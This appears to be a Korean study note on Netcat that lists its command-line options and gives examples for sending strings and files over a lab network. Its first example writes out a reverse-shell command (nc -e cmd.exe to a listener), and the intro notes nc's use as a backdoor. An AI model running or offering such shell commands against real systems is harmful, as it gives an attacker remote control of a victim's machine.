NC(Netcat)

  • Netcat(이하 nc)은 Network connection에서 raw-data read, write를 할 수 있는 유틸리티 프로그램

  • 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 씀

  • 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리

  • 해킹에도 이용범위가 매우 넓음

  • 임의의 TCP, UDP 포트에서 상대방 TCP, UDP로 데이터를 보내는 도구

  • nc.exe 실행파일과 명령어를 통해 백도어 기능을 사용할 수 있음



사용법

  • nc [options] [target host] [ports]

  • options

    • -4: IPv4

    • -6: IPv6

    • -D: socket 디버깅 가능

    • -d: STDIN 입력을 읽어들이지 않음

    • -h: help

    • -i: send/recv, multiple port 연결 사이의 interval 지정.

    • -k: listening 모드로 실행되었을 때 연결이 완료되더라도 프로세스가 종료되지 않도록 하는 옵션.
      -l 옵션과 함께 사용되지 않으면 에러.

    • -l: listening 모드로 실행. -p, -s, -z 옵션과 함께 사용되면 에러. -w 옵션은 무시됨.

    • -n: hostname을 ip로만 지정.

    • -p: source port 지정. -l 옵션과 함께 사용되면 에러.

    • -r: source/destination port를 범위로 지정했을 때 랜덤한 순서로 연결시도.

    • -S: RFC 2385 TCP MD5 signature 옵션.

    • -s: 패킷을 전송할 IP 지정. -l 옵션과 함께 사용되면 에러.

    • -T: 연결에 ToS 지정.

    • -C: CRLF line-ending 전송.

    • -t: netcat을 telnet session으로 사용가능 하게.

    • -U: Unix Domain Socket을 사용하도록 지정.

    • -u: UDP 사용.

    • -v: 과정 출력

    • -w: connection/stdin timeout 지정. -l 옵션과 함께 사용하면 무시됨.

    • -X: proxy version 지정.

    • -x: proxy server의 hostname, port 지정.

    • -z: 아무 데이터도 전송하지 않고 listening daemong만 스캔. -l 옵션과 함께 사용하면 에러.  

예시 1. cmd.exe 권한 받기

  • 다음과 같은 환경 준비

    • Server : win7 / ip 192.168.10.64
    • Client : win XP / ip 192.168.10.22

    • 서버 및 클라이언트에 nc.exe 설치

    • IP 주소 확인
  • 첫 번째. Server에서 1234포트를 열고 nc.exe를 실행한 후 대기

    • C:\> nc.exe –lvp 1234
  • 두 번째. Client가 Server의 1234 포트로 접속하여 nc.exe를 실행하고 cmd.exe의 권한을 서버에게 부여

    • C:\> nc.exe 192.168.10.64 1234 –e cmd.exe

    • Server는 client의 cmd.exe 권한을 갖게 됨

  • 세 번째. Server는 client의 cmd.exe를 통해 작업을 할 수 있음

    • C:> ipconfig했을 때 Client의 IP 정보를 볼 수 있음



예시 2. 문자열 보내기

  • 수신 : nc –lkv target_port_number

  • 발신 : echo “hello world” nc target_ip_address target_port_number
  • 진행 1. 수신 : 포트 열고 대기
$ nc -lkv 1004
  • 진행 2. 발신 : 해당 포트로 문자열 보내기
$ echo "Hello Sun" | nc 192.168.64.100 1004
  • 진행 3. 수신 : 문자열 받은 것 확인
$ Connection from 192.168.64.101 port 1004 [tcp/src] accepted
Hello Sun



예시 3. 파일 보내기

  • 수신 : nc -l target_port_number tar xvzf –
    • z – 압축 / x – 해제
  • 발신 : tar cvzf – a.text b.text nc target_ip_address target_port_number
    • z – 압축 / c – 생성
  • nc로 파일 송수신시 ownership 및 permission이 보존됨

  • 진행 1. 수신 : 파일 수신 대기

image

  • 진행 2. 발신 : 파일 보내기

image

  • 진행 3. 수신 : 파일 수신 확인

image